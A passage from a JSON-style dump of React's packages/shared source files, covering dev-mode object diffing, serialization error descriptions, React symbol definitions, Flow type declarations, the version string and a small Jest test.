break;\n    case 'boolean':\n      desc = value ? 'true' : 'false';\n      break;\n    default:\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      desc = String(value);\n  }\n  properties.push([prefix + '\\xa0\\xa0'.repeat(indent) + propertyName, desc]);\n}\n\nconst REMOVED = '-\\xa0';\nconst ADDED = '+\\xa0';\nconst UNCHANGED = '\\u2007\\xa0';\n\nexport function addObjectDiffToProperties(\n  prev: Object,\n  next: Object,\n  properties: Array<[string, string]>,\n  indent: number,\n): boolean {\n  // Note: We diff even non-owned properties here but things that are shared end up just the same.\n  // If a property is added or removed, we just emit the property name and omit the value it had.\n  // Mainly for performance. We need to minimize to only relevant information.\n  let isDeeplyEqual = true;\n  let prevPropertiesChecked = 0;\n  for (const key in prev) {\n    if (prevPropertiesChecked > OBJECT_WIDTH_LIMIT) {\n      properties.push([\n        'Previous object has more than ' +\n          OBJECT_WIDTH_LIMIT +\n          ' properties. React will not attempt to diff objects with too many properties.',\n        '',\n      ]);\n      isDeeplyEqual = false;\n      break;\n    }\n\n    if (!(key in next)) {\n      properties.push([REMOVED + '\\xa0\\xa0'.repeat(indent) + key, '\\u2026']);\n      isDeeplyEqual = false;\n    }\n    prevPropertiesChecked++;\n  }\n\n  let nextPropertiesChecked = 0;\n  for (const key in next) {\n    if (nextPropertiesChecked > OBJECT_WIDTH_LIMIT) {\n      properties.push([\n        'Next object has more than ' +\n          OBJECT_WIDTH_LIMIT +\n          ' properties. React will not attempt to diff objects with too many properties.',\n        '',\n      ]);\n      isDeeplyEqual = false;\n      break;\n    }\n\n    if (key in prev) {\n      const prevValue = prev[key];\n      const nextValue = next[key];\n      if (prevValue !== nextValue) {\n        if (indent === 0 && key === 'children') {\n          // Omit any change inside the top level children prop since it's expected to change\n          // with any change to children of the component and their props will be logged\n          // elsewhere but still mark it as a cause of render.\n          const line = '\\xa0\\xa0'.repeat(indent) + key;\n          properties.push([REMOVED + line, '\\u2026'], [ADDED + line, '\\u2026']);\n          isDeeplyEqual = false;\n          continue;\n        }\n        if (indent >= 3) {\n          // Just fallthrough to print the two values if we're deep.\n          // This will skip nested properties of the objects.\n        } else if (\n          typeof prevValue === 'object' &&\n          typeof nextValue === 'object' &&\n          prevValue !== null &&\n          nextValue !== null &&\n          readReactElementTypeof(prevValue) ===\n            readReactElementTypeof(nextValue)\n        ) {\n          if (readReactElementTypeof(nextValue) === REACT_ELEMENT_TYPE) {\n            if (\n              prevValue.type === nextValue.type &&\n              prevValue.key === nextValue.key\n            ) {\n              // If the only thing that has changed is the props of a nested element, then\n              // we omit the props because it is likely to be represented as a diff elsewhere.\n              const typeName =\n                getComponentNameFromType(nextValue.type) || '\\u2026';\n              const line = '\\xa0\\xa0'.repeat(indent) + key;\n              const desc = '<' + typeName + ' \\u2026 />';\n              properties.push([REMOVED + line, desc], [ADDED + line, desc]);\n              isDeeplyEqual = false;\n              continue;\n            }\n          } else {\n            // $FlowFixMe[method-unbinding]\n            const prevKind = Object.prototype.toString.call(prevValue);\n            // $FlowFixMe[method-unbinding]\n            const nextKind = Object.prototype.toString.call(nextValue);\n            if (\n              prevKind === nextKind &&\n              (nextKind === '[object Object]' || nextKind === '[object Array]')\n            ) {\n              // Diff nested object\n              const entry = [\n                UNCHANGED + '\\xa0\\xa0'.repeat(indent) + key,\n                nextKind === '[object Array]' ? 'Array' : '',\n              ];\n              properties.push(entry);\n              const prevLength = properties.length;\n              const nestedEqual = addObjectDiffToProperties(\n                prevValue,\n                nextValue,\n                properties,\n                indent + 1,\n              );\n              if (!nestedEqual) {\n                isDeeplyEqual = false;\n              } else if (prevLength === properties.length) {\n                // Nothing notably changed inside the nested object. So this is only a change in reference\n                // equality. Let's note it.\n                entry[1] =\n                  'Referentially unequal but deeply equal objects. Consider memoization.';\n              }\n              continue;\n            }\n          }\n        } else if (\n          typeof prevValue === 'function' &&\n          typeof nextValue === 'function' &&\n          prevValue.name === nextValue.name &&\n          prevValue.length === nextValue.length\n        ) {\n          // $FlowFixMe[method-unbinding]\n          const prevSrc = Function.prototype.toString.call(prevValue);\n          // $FlowFixMe[method-unbinding]\n          const nextSrc = Function.prototype.toString.call(nextValue);\n          if (prevSrc === nextSrc) {\n            // This looks like it might be the same function but different closures.\n            let desc;\n            if (nextValue.name === '') {\n              desc = '() => {}';\n            } else {\n              desc = nextValue.name + '() {}';\n            }\n            properties.push([\n              UNCHANGED + '\\xa0\\xa0'.repeat(indent) + key,\n              desc +\n                ' Referentially unequal function closure. Consider memoization.',\n            ]);\n            continue;\n          }\n        }\n\n        // Otherwise, emit the change in property and the values.\n        addValueToProperties(key, prevValue, properties, indent, REMOVED);\n        addValueToProperties(key, nextValue, properties, indent, ADDED);\n        isDeeplyEqual = false;\n      }\n    } else {\n      properties.push([ADDED + '\\xa0\\xa0'.repeat(indent) + key, '\\u2026']);\n      isDeeplyEqual = false;\n    }\n\n    nextPropertiesChecked++;\n  }\n  return isDeeplyEqual;\n}\n"
  },
  {
    "path": "packages/shared/ReactSerializationErrors.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  REACT_ELEMENT_TYPE,\n  REACT_FORWARD_REF_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n} from 'shared/ReactSymbols';\n\nimport type {LazyComponent} from 'react/src/ReactLazy';\n\nimport isArray from 'shared/isArray';\nimport getPrototypeOf from 'shared/getPrototypeOf';\n\nimport {enableViewTransition} from 'shared/ReactFeatureFlags';\n\n// Used for DEV messages to keep track of which parent rendered some props,\n// in case they error.\nexport const jsxPropsParents: WeakMap<any, any> = new WeakMap();\nexport const jsxChildrenParents: WeakMap<any, any> = new WeakMap();\n\nfunction isObjectPrototype(object: any): boolean {\n  if (!object) {\n    return false;\n  }\n  const ObjectPrototype = Object.prototype;\n  if (object === ObjectPrototype) {\n    return true;\n  }\n  // It might be an object from a different Realm which is\n  // still just a plain simple object.\n  if (getPrototypeOf(object)) {\n    return false;\n  }\n  const names = Object.getOwnPropertyNames(object);\n  for (let i = 0; i < names.length; i++) {\n    if (!(names[i] in ObjectPrototype)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nexport function isGetter(object: any, name: string): boolean {\n  const ObjectPrototype = Object.prototype;\n  if (object === ObjectPrototype || object === null) {\n    return false;\n  }\n  const descriptor = Object.getOwnPropertyDescriptor(object, name);\n  if (descriptor === undefined) {\n    return isGetter(getPrototypeOf(object), name);\n  }\n  return typeof descriptor.get === 'function';\n}\n\nexport function isSimpleObject(object: any): boolean {\n  if (!isObjectPrototype(getPrototypeOf(object))) {\n    return false;\n  }\n  const names = Object.getOwnPropertyNames(object);\n  for (let i = 0; i < names.length; i++) {\n    const descriptor = Object.getOwnPropertyDescriptor(object, names[i]);\n    if (!descriptor) {\n      return false;\n    }\n    if (!descriptor.enumerable) {\n      if (\n        (names[i] === 'key' || names[i] === 'ref') &&\n        typeof descriptor.get === 'function'\n      ) {\n        // React adds key and ref getters to props objects to issue warnings.\n        // Those getters will not be transferred to the client, but that's ok,\n        // so we'll special case them.\n        continue;\n      }\n      return false;\n    }\n  }\n  return true;\n}\n\nexport function objectName(object: mixed): string {\n  // $FlowFixMe[method-unbinding]\n  const name = Object.prototype.toString.call(object);\n  // Extract 'Object' from '[object Object]':\n  return name.slice(8, name.length - 1);\n}\n\nfunction describeKeyForErrorMessage(key: string): string {\n  const encodedKey = JSON.stringify(key);\n  return '\"' + key + '\"' === encodedKey ? key : encodedKey;\n}\n\nexport function describeValueForErrorMessage(value: mixed): string {\n  switch (typeof value) {\n    case 'string': {\n      return JSON.stringify(\n        value.length <= 10 ? value : value.slice(0, 10) + '...',\n      );\n    }\n    case 'object': {\n      if (isArray(value)) {\n        return '[...]';\n      }\n      if (value !== null && value.$$typeof === CLIENT_REFERENCE_TAG) {\n        return describeClientReference(value);\n      }\n      const name = objectName(value);\n      if (name === 'Object') {\n        return '{...}';\n      }\n      return name;\n    }\n    case 'function': {\n      if ((value: any).$$typeof === CLIENT_REFERENCE_TAG) {\n        return describeClientReference(value);\n      }\n      const name = (value: any).displayName || value.name;\n      return name ? 'function ' + name : 'function';\n    }\n    default:\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      return String(value);\n  }\n}\n\nfunction describeElementType(type: any): string {\n  if (typeof type === 'string') {\n    return type;\n  }\n  switch (type) {\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n    case REACT_VIEW_TRANSITION_TYPE:\n      if (enableViewTransition) {\n        return 'ViewTransition';\n      }\n  }\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_FORWARD_REF_TYPE:\n        return describeElementType(type.render);\n      case REACT_MEMO_TYPE:\n        return describeElementType(type.type);\n      case REACT_LAZY_TYPE: {\n        const lazyComponent: LazyComponent<any, any> = (type: any);\n        const payload = lazyComponent._payload;\n        const init = lazyComponent._init;\n        try {\n          // Lazy may contain any component type so we recursively resolve it.\n          return describeElementType(init(payload));\n        } catch (x) {}\n      }\n    }\n  }\n  return '';\n}\n\nconst CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');\n\nfunction describeClientReference(ref: any) {\n  return 'client';\n}\n\nexport function describeObjectForErrorMessage(\n  objectOrArray: {+[key: string | number]: mixed, ...} | $ReadOnlyArray<mixed>,\n  expandedName?: string,\n): string {\n  const objKind = objectName(objectOrArray);\n  if (objKind !== 'Object' && objKind !== 'Array') {\n    return objKind;\n  }\n  let str = '';\n  let start = -1;\n  let length = 0;\n  if (isArray(objectOrArray)) {\n    if (__DEV__ && jsxChildrenParents.has(objectOrArray)) {\n      // Print JSX Children\n      const type = jsxChildrenParents.get(objectOrArray);\n      str = '<' + describeElementType(type) + '>';\n      const array: $ReadOnlyArray<mixed> = objectOrArray;\n      for (let i = 0; i < array.length; i++) {\n        const value = array[i];\n        let substr;\n        if (typeof value === 'string') {\n          substr = value;\n        } else if (typeof value === 'object' && value !== null) {\n          substr = '{' + describeObjectForErrorMessage(value) + '}';\n        } else {\n          substr = '{' + describeValueForErrorMessage(value) + '}';\n        }\n        if ('' + i === expandedName) {\n          start = str.length;\n          length = substr.length;\n          str += substr;\n        } else if (substr.length < 15 && str.length + substr.length < 40) {\n          str += substr;\n        } else {\n          str += '{...}';\n        }\n      }\n      str += '</' + describeElementType(type) + '>';\n    } else {\n      // Print Array\n      str = '[';\n      const array: $ReadOnlyArray<mixed> = objectOrArray;\n      for (let i = 0; i < array.length; i++) {\n        if (i > 0) {\n          str += ', ';\n        }\n        const value = array[i];\n        let substr;\n        if (typeof value === 'object' && value !== null) {\n          substr = describeObjectForErrorMessage(value);\n        } else {\n          substr = describeValueForErrorMessage(value);\n        }\n        if ('' + i === expandedName) {\n          start = str.length;\n          length = substr.length;\n          str += substr;\n        } else if (substr.length < 10 && str.length + substr.length < 40) {\n          str += substr;\n        } else {\n          str += '...';\n        }\n      }\n      str += ']';\n    }\n  } else {\n    if (objectOrArray.$$typeof === REACT_ELEMENT_TYPE) {\n      str = '<' + describeElementType(objectOrArray.type) + '/>';\n    } else if (objectOrArray.$$typeof === CLIENT_REFERENCE_TAG) {\n      return describeClientReference(objectOrArray);\n    } else if (__DEV__ && jsxPropsParents.has(objectOrArray)) {\n      // Print JSX\n      const type = jsxPropsParents.get(objectOrArray);\n      str = '<' + (describeElementType(type) || '...');\n      const object: {+[key: string | number]: mixed, ...} = objectOrArray;\n      const names = Object.keys(object);\n      for (let i = 0; i < names.length; i++) {\n        str += ' ';\n        const name = names[i];\n        str += describeKeyForErrorMessage(name) + '=';\n        const value = object[name];\n        let substr;\n        if (\n          name === expandedName &&\n          typeof value === 'object' &&\n          value !== null\n        ) {\n          substr = describeObjectForErrorMessage(value);\n        } else {\n          substr = describeValueForErrorMessage(value);\n        }\n        if (typeof value !== 'string') {\n          substr = '{' + substr + '}';\n        }\n        if (name === expandedName) {\n          start = str.length;\n          length = substr.length;\n          str += substr;\n        } else if (substr.length < 10 && str.length + substr.length < 40) {\n          str += substr;\n        } else {\n          str += '...';\n        }\n      }\n      str += '>';\n    } else {\n      // Print Object\n      str = '{';\n      const object: {+[key: string | number]: mixed, ...} = objectOrArray;\n      const names = Object.keys(object);\n      for (let i = 0; i < names.length; i++) {\n        if (i > 0) {\n          str += ', ';\n        }\n        const name = names[i];\n        str += describeKeyForErrorMessage(name) + ': ';\n        const value = object[name];\n        let substr;\n        if (typeof value === 'object' && value !== null) {\n          substr = describeObjectForErrorMessage(value);\n        } else {\n          substr = describeValueForErrorMessage(value);\n        }\n        if (name === expandedName) {\n          start = str.length;\n          length = substr.length;\n          str += substr;\n        } else if (substr.length < 10 && str.length + substr.length < 40) {\n          str += substr;\n        } else {\n          str += '...';\n        }\n      }\n      str += '}';\n    }\n  }\n  if (expandedName === undefined) {\n    return str;\n  }\n  if (start > -1 && length > 0) {\n    const highlight = ' '.repeat(start) + '^'.repeat(length);\n    return '\\n  ' + str + '\\n  ' + highlight;\n  }\n  return '\\n  ' + str;\n}\n"
  },
  {
    "path": "packages/shared/ReactSharedInternals.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nconst ReactSharedInternals =\n  React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\nexport default ReactSharedInternals;\n"
  },
  {
    "path": "packages/shared/ReactSymbols.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n\n// The Symbol used to tag the ReactElement-like types.\nexport const REACT_LEGACY_ELEMENT_TYPE: symbol = Symbol.for('react.element');\nexport const REACT_ELEMENT_TYPE: symbol = Symbol.for(\n  'react.transitional.element',\n);\nexport const REACT_PORTAL_TYPE: symbol = Symbol.for('react.portal');\nexport const REACT_FRAGMENT_TYPE: symbol = Symbol.for('react.fragment');\nexport const REACT_STRICT_MODE_TYPE: symbol = Symbol.for('react.strict_mode');\nexport const REACT_PROFILER_TYPE: symbol = Symbol.for('react.profiler');\nexport const REACT_CONSUMER_TYPE: symbol = Symbol.for('react.consumer');\nexport const REACT_CONTEXT_TYPE: symbol = Symbol.for('react.context');\nexport const REACT_FORWARD_REF_TYPE: symbol = Symbol.for('react.forward_ref');\nexport const REACT_SUSPENSE_TYPE: symbol = Symbol.for('react.suspense');\nexport const REACT_SUSPENSE_LIST_TYPE: symbol = Symbol.for(\n  'react.suspense_list',\n);\nexport const REACT_MEMO_TYPE: symbol = Symbol.for('react.memo');\nexport const REACT_LAZY_TYPE: symbol = Symbol.for('react.lazy');\nexport const REACT_SCOPE_TYPE: symbol = Symbol.for('react.scope');\nexport const REACT_ACTIVITY_TYPE: symbol = Symbol.for('react.activity');\nexport const REACT_LEGACY_HIDDEN_TYPE: symbol = Symbol.for(\n  'react.legacy_hidden',\n);\nexport const REACT_TRACING_MARKER_TYPE: symbol = Symbol.for(\n  'react.tracing_marker',\n);\n\nexport const REACT_MEMO_CACHE_SENTINEL: symbol = Symbol.for(\n  'react.memo_cache_sentinel',\n);\n\nexport const REACT_VIEW_TRANSITION_TYPE: symbol = Symbol.for(\n  'react.view_transition',\n);\n\nconst MAYBE_ITERATOR_SYMBOL = Symbol.iterator;\nconst FAUX_ITERATOR_SYMBOL = '@@iterator';\n\nexport function getIteratorFn(maybeIterable: ?any): ?() => ?Iterator<any> {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n  const maybeIterator =\n    (MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL]) ||\n    maybeIterable[FAUX_ITERATOR_SYMBOL];\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n  return null;\n}\n\nexport const ASYNC_ITERATOR = Symbol.asyncIterator;\n\nexport const REACT_OPTIMISTIC_KEY: ReactOptimisticKey = (Symbol.for(\n  'react.optimistic_key',\n): any);\n\n// This is actually a symbol but Flow doesn't support comparison of symbols to refine.\n// We use a boolean since in our code we often expect string (key) or number (index),\n// so by pretending to be a boolean we cover a lot of cases that don't consider this case.\nexport type ReactOptimisticKey = true;\n"
  },
  {
    "path": "packages/shared/ReactTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactOptimisticKey} from './ReactSymbols';\n\nexport type {ReactOptimisticKey};\n\nexport type ReactKey = null | string | ReactOptimisticKey;\n\nexport type ReactNode =\n  | React$Element<any>\n  | ReactPortal\n  | ReactText\n  | ReactFragment\n  | ReactProvider<any>\n  | ReactConsumer<any>;\n\nexport type ReactEmpty = null | void | boolean;\n\nexport type ReactFragment = ReactEmpty | Iterable<React$Node>;\n\nexport type ReactNodeList = ReactEmpty | React$Node;\n\nexport type ReactText = string | number;\n\nexport type ReactProvider<T> = {\n  $$typeof: symbol | number,\n  type: ReactContext<T>,\n  key: ReactKey,\n  ref: null,\n  props: {\n    value: T,\n    children?: ReactNodeList,\n  },\n};\n\nexport type ReactConsumerType<T> = {\n  $$typeof: symbol | number,\n  _context: ReactContext<T>,\n};\n\nexport type ReactConsumer<T> = {\n  $$typeof: symbol | number,\n  type: ReactConsumerType<T>,\n  key: ReactKey,\n  ref: null,\n  props: {\n    children: (value: T) => ReactNodeList,\n  },\n};\n\nexport type ReactContext<T> = {\n  $$typeof: symbol | number,\n  Consumer: ReactConsumerType<T>,\n  Provider: ReactContext<T>,\n  _currentValue: T,\n  _currentValue2: T,\n  _threadCount: number,\n  // DEV only\n  _currentRenderer?: Object | null,\n  _currentRenderer2?: Object | null,\n  // This value may be added by application code\n  // to improve DEV tooling display names\n  displayName?: string,\n};\n\nexport type ReactPortal = {\n  $$typeof: symbol | number,\n  key: ReactKey,\n  containerInfo: any,\n  children: ReactNodeList,\n  // TODO: figure out the API for cross-renderer implementation.\n  implementation: any,\n};\n\nexport type RefObject = {\n  current: any,\n};\n\nexport type ReactScope = {\n  $$typeof: symbol | number,\n};\n\nexport type ReactScopeQuery = (\n  type: string,\n  props: {[string]: mixed},\n  instance: mixed,\n) => boolean;\n\nexport type ReactScopeInstance = {\n  DO_NOT_USE_queryAllNodes(ReactScopeQuery): null | Array<Object>,\n  DO_NOT_USE_queryFirstNode(ReactScopeQuery): null | Object,\n  containsNode(Object): boolean,\n  getChildContextValues: <T>(context: ReactContext<T>) => Array<T>,\n};\n\n// The subset of a Thenable required by things thrown by Suspense.\n// This doesn't require a value to be passed to either handler.\nexport interface Wakeable {\n  then(onFulfill: () => mixed, onReject: () => mixed): void | Wakeable;\n}\n\n// The subset of a Promise that React APIs rely on. This resolves a value.\n// This doesn't require a return value neither from the handler nor the\n// then function.\ninterface ThenableImpl<T> {\n  then(\n    onFulfill: (value: T) => mixed,\n    onReject: (error: mixed) => mixed,\n  ): void | Wakeable;\n  displayName?: string;\n}\ninterface UntrackedThenable<T> extends ThenableImpl<T> {\n  status?: void;\n  _debugInfo?: null | ReactDebugInfo;\n}\n\nexport interface PendingThenable<T> extends ThenableImpl<T> {\n  status: 'pending';\n  _debugInfo?: null | ReactDebugInfo;\n}\n\nexport interface FulfilledThenable<T> extends ThenableImpl<T> {\n  status: 'fulfilled';\n  value: T;\n  _debugInfo?: null | ReactDebugInfo;\n}\n\nexport interface RejectedThenable<T> extends ThenableImpl<T> {\n  status: 'rejected';\n  reason: mixed;\n  _debugInfo?: null | ReactDebugInfo;\n}\n\nexport type Thenable<T> =\n  | UntrackedThenable<T>\n  | PendingThenable<T>\n  | FulfilledThenable<T>\n  | RejectedThenable<T>;\n\nexport type StartTransitionOptions = {\n  name?: string,\n};\n\nexport type Usable<T> = Thenable<T> | ReactContext<T>;\n\nexport type ReactCustomFormAction = {\n  name?: string,\n  action?: string,\n  encType?: string,\n  method?: string,\n  target?: string,\n  data?: null | FormData,\n};\n\n// This is an opaque type returned by decodeFormState on the server, but it's\n// defined in this shared file because the same type is used by React on\n// the client.\nexport type ReactFormState<S, ReferenceId> = [\n  S /* actual state value */,\n  string /* key path */,\n  ReferenceId /* Server Reference ID */,\n  number /* number of bound arguments */,\n];\n\n// Intrinsic GestureProvider. This type varies by Environment whether a particular\n// renderer supports it.\nexport type GestureProvider = any;\n\nexport type GestureOptions = {\n  rangeStart?: number,\n  rangeEnd?: number,\n};\n\nexport type Awaited<T> = T extends null | void\n  ? T // special case for `null | undefined` when not in `--strictNullChecks` mode\n  : T extends Object // `await` only unwraps object types with a callable then. Non-object types are not unwrapped.\n    ? T extends {then(onfulfilled: infer F): any} // thenable, extracts the first argument to `then()`\n      ? F extends (value: infer V) => any // if the argument to `then` is callable, extracts the argument\n        ? Awaited<V> // recursively unwrap the value\n        : empty // the argument to `then` was not callable.\n      : T // argument was not an object\n    : T; // non-thenable\n\nexport type ReactCallSite = [\n  string, // function name\n  string, // file name TODO: model nested eval locations as nested arrays\n  number, // line number\n  number, // column number\n  number, // enclosing line number\n  number, // enclosing column number\n  boolean, // async resume\n];\n\nexport type ReactStackTrace = Array<ReactCallSite>;\n\nexport type ReactFunctionLocation = [\n  string, // function name\n  string, // file name TODO: model nested eval locations as nested arrays\n  number, // enclosing line number\n  number, // enclosing column number\n];\n\nexport type ReactComponentInfo = {\n  +name: string,\n  +env?: string,\n  +key?: ReactKey,\n  +owner?: null | ReactComponentInfo,\n  +stack?: null | ReactStackTrace,\n  +props?: null | {[name: string]: mixed},\n  // Stashed Data for the Specific Execution Environment. Not part of the transport protocol\n  +debugStack?: null | Error,\n  +debugTask?: null | ConsoleTask,\n  debugLocation?: null | Error,\n};\n\nexport type ReactEnvironmentInfo = {\n  +env: string,\n};\n\nexport type ReactErrorInfoProd = {\n  +digest: string,\n};\n\nexport type JSONValue =\n  | string\n  | boolean\n  | number\n  | null\n  | {+[key: string]: JSONValue}\n  | $ReadOnlyArray<JSONValue>;\n\nexport type ReactErrorInfoDev = {\n  +digest?: string,\n  +name: string,\n  +message: string,\n  +stack: ReactStackTrace,\n  +env: string,\n  +owner?: null | string,\n  cause?: JSONValue,\n  errors?: JSONValue,\n};\n\nexport type ReactErrorInfo = ReactErrorInfoProd | ReactErrorInfoDev;\n\n// The point where the Async Info started which might not be the same place it was awaited.\nexport type ReactIOInfo = {\n  +name: string, // the name of the async function being called (e.g. \"fetch\")\n  +start: number, // the start time\n  +end: number, // the end time (this might be different from the time the await was unblocked)\n  +byteSize?: number, // the byte size of this resource across the network. (should only be included if affecting the client.)\n  +value?: null | Promise<mixed>, // the Promise that was awaited if any, may be rejected\n  +env?: string, // the environment where this I/O was spawned.\n  +owner?: null | ReactComponentInfo,\n  +stack?: null | ReactStackTrace,\n  // Stashed Data for the Specific Execution Environment. Not part of the transport protocol\n  +debugStack?: null | Error,\n  +debugTask?: null | ConsoleTask,\n};\n\nexport type ReactAsyncInfo = {\n  +awaited: ReactIOInfo,\n  +env?: string, // the environment where this was awaited. This might not be the same as where it was spawned.\n  +owner?: null | ReactComponentInfo,\n  +stack?: null | ReactStackTrace,\n  // Stashed Data for the Specific Execution Environment. Not part of the transport protocol\n  +debugStack?: null | Error,\n  +debugTask?: null | ConsoleTask,\n};\n\nexport type ReactTimeInfo = {\n  +time: number, // performance.now\n};\n\nexport type ReactDebugInfoEntry =\n  | ReactComponentInfo\n  | ReactEnvironmentInfo\n  | ReactAsyncInfo\n  | ReactTimeInfo;\n\nexport type ReactDebugInfo = Array<ReactDebugInfoEntry>;\n\n// Intrinsic ViewTransitionInstance. This type varies by Environment whether a particular\n// renderer supports it.\nexport type ViewTransitionInstance = any;\n\nexport type ViewTransitionClassPerType = {\n  [transitionType: 'default' | string]: 'none' | 'auto' | string,\n};\n\nexport type ViewTransitionClass =\n  | 'none'\n  | 'auto'\n  | string\n  | ViewTransitionClassPerType;\n\nexport type GestureOptionsRequired = {\n  rangeStart: number,\n  rangeEnd: number,\n};\n\nexport type ViewTransitionProps = {\n  name?: string,\n  children?: ReactNodeList,\n  default?: ViewTransitionClass,\n  enter?: ViewTransitionClass,\n  exit?: ViewTransitionClass,\n  share?: ViewTransitionClass,\n  update?: ViewTransitionClass,\n  onEnter?: (\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n  onExit?: (\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n  onShare?: (\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n  onUpdate?: (\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n  onGestureEnter?: (\n    timeline: GestureProvider,\n    options: GestureOptionsRequired,\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n  onGestureExit?: (\n    timeline: GestureProvider,\n    options: GestureOptionsRequired,\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n  onGestureShare?: (\n    timeline: GestureProvider,\n    options: GestureOptionsRequired,\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n  onGestureUpdate?: (\n    timeline: GestureProvider,\n    options: GestureOptionsRequired,\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n};\n\nexport type ActivityProps = {\n  mode?: 'hidden' | 'visible' | null | void,\n  children?: ReactNodeList,\n  name?: string,\n};\n\nexport type SuspenseProps = {\n  children?: ReactNodeList,\n  fallback?: ReactNodeList,\n\n  // TODO: Add \"unstable_\" prefix?\n  suspenseCallback?: (Set<Wakeable> | null) => mixed,\n\n  unstable_avoidThisFallback?: boolean,\n  defer?: boolean,\n  name?: string,\n};\n\nexport type SuspenseListRevealOrder =\n  | 'forwards'\n  | 'backwards'\n  | 'unstable_legacy-backwards'\n  | 'together'\n  | 'independent'\n  | void;\n\nexport type SuspenseListTailMode = 'visible' | 'collapsed' | 'hidden' | void;\n\n// A SuspenseList row cannot include a nested Array since it's an easy mistake to not realize it\n// is treated as a single row. A Fragment can be used to intentionally have multiple children as\n// a single row.\ntype SuspenseListRow = Exclude<\n  ReactNodeList,\n  Iterable<React$Node> | AsyncIterable<React$Node>,\n>;\n\ntype DirectionalSuspenseListProps = {\n  // Directional SuspenseList are defined by an array of children or multiple slots to JSX\n  // It does not allow a single element child.\n  children?: Iterable<SuspenseListRow> | AsyncIterable<SuspenseListRow>, // Note: AsyncIterable is experimental.\n  revealOrder: 'forwards' | 'backwards' | 'unstable_legacy-backwards',\n  tail?: SuspenseListTailMode,\n};\n\ntype NonDirectionalSuspenseListProps = {\n  children?: ReactNodeList,\n  revealOrder?: 'independent' | 'together' | void,\n  tail?: void,\n};\n\nexport type SuspenseListProps =\n  | DirectionalSuspenseListProps\n  | NonDirectionalSuspenseListProps;\n\nexport type TracingMarkerProps = {\n  name: string,\n  children?: ReactNodeList,\n};\n\nexport type CacheProps = {\n  children?: ReactNodeList,\n};\n\nexport type ProfilerPhase = 'mount' | 'update' | 'nested-update';\n\nexport type ProfilerProps = {\n  id?: string,\n  onRender?: (\n    id: void | string,\n    phase: ProfilerPhase,\n    actualDuration: number,\n    baseDuration: number,\n    startTime: number,\n    commitTime: number,\n  ) => void,\n  onCommit?: (\n    id: void | string,\n    phase: ProfilerPhase,\n    effectDuration: number,\n    commitTime: number,\n  ) => void,\n  children?: ReactNodeList,\n};\n"
  },
  {
    "path": "packages/shared/ReactVersion.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// TODO: this is special because it gets imported during build.\n//\n// It exists as a placeholder so that DevTools can support work tag changes between releases.\n// When we next publish a release, update the matching TODO in backend/renderer.js\n// TODO: This module is used both by the release scripts and to expose a version\n// at runtime. We should instead inject the version number as part of the build\n// process, and use the ReactVersions.js module as the single source of truth.\nexport default '19.3.0';\n"
  },
  {
    "path": "packages/shared/__tests__/ReactDOMFrameScheduling-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMFrameScheduling', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    jest.unmock('scheduler');\n  });\n\n  // We're just testing importing, not using it.\n  // It is important because even isomorphic components may import it.\n  it('can import findDOMNode in Node environment', () => {\n    const prevWindow = global.window;\n    try {\n      // Simulate the Node environment:\n      delete global.window;\n      jest.resetModules();\n      expect(() => {\n        require('react-dom');\n      }).not.toThrow();\n    } finally {\n      global.window = prevWindow;\n    }\n  });\n});\n"
  },
  {
    "path": "packages/shared/__tests__/ReactError-test.internal.js",
